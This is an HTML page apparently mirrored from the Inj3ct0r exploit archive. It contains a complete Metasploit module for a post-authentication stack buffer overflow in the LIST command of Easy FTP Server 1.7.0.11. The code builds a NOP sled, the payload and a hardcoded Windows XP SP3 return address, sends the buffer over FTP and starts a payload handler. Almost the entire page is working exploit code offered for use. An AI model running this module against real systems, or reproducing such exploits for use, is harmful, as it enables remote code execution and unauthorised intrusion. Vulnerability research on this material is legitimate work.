<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Easy FTP Server v1.7.0.11 LIST Command Remote BoF Exploit (Post Auth)</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==============================================================================
Easy FTP Server v1.7.0.11 LIST Command Remote BoF Exploit (Post Auth) – (meta)
==============================================================================

##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR &amp; VAS TEAM : just testing howto convert exploits to metasploit modules.
##

require ‘msf/core’

class Metasploit3 &lt; Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
‘Name’ =&gt; ‘EasyFTP Server &lt;= 1.7.0.11 LIST Command Stack Buffer Overflow’,
‘Description’ =&gt; %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
credit goes to Karn Ganeshan.
},
‘Author’ =&gt;
[
'Karn Ganeshan &lt;karnganeshan [at] gmail.com&gt;’, # original version
‘MFR’ # convert to metasploit format.
],
‘License’ =&gt; MSF_LICENSE,
‘Version’ =&gt; ‘Version: 1′,
‘References’ =&gt;
[
[ 'EDB', '14400' ],
],
‘DefaultOptions’ =&gt;
{
‘EXITFUNC’ =&gt; ‘thread’
},
‘Privileged’ =&gt; false,
‘Payload’ =&gt;
{
‘Space’ =&gt; 268,
‘BadChars’ =&gt; &quot;x00×0ax0dx2fx5c&quot;,
‘DisableNops’ =&gt; false
},
‘Platform’ =&gt; ‘win’,
‘Targets’ =&gt;
[
[ 'Windows XP SP3 - Version 2002', { 'Ret' =&gt; 0x7e49732b } ],
],
‘DisclosureDate’ =&gt; ‘July 5 2010′,
‘DefaultTarget’ =&gt; 0))
end

def check
connect
disconnect

if (banner =~ /BigFoolCat/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect_login

buf = ”
buf &lt;&lt; make_nops(268 – payload.encoded.length – 4)
print_status(&quot;Adding the payload…&quot;)
buf &lt;&lt; payload.encoded
buf &lt;&lt; [target.ret].pack(‘V’)

print_status(&quot;Sending exploit buffer…&quot;)
send_cmd( ['LIST', buf] , false)

handler
disconnect
end

end

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-23]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13452